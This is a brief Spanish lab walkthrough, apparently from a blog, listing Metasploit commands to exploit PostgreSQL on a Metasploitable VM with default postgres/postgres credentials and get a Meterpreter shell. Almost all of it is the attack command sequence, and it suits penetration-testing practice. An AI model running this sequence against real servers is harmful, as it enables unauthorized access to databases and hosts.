Podemos lanzar un exploit y obtener shell al servicio postgresql
Usamos los sistemas kali linux y metasploitable
ponemos los comandos
msfconsole (iniciamos metasploit)
search postgresql (buscamos el exploit)
use exploit/linux/postgres/postgres_payload (usamos este exploit)
show options (nos muestra las opciones requridas)
cambiamos estas opciones
set PASSWORD postgres
set RHOST 192.168.1.103
set USERNAME postgres
exploit
Nos abre una session con meterpreter
sysinfo
happy hacking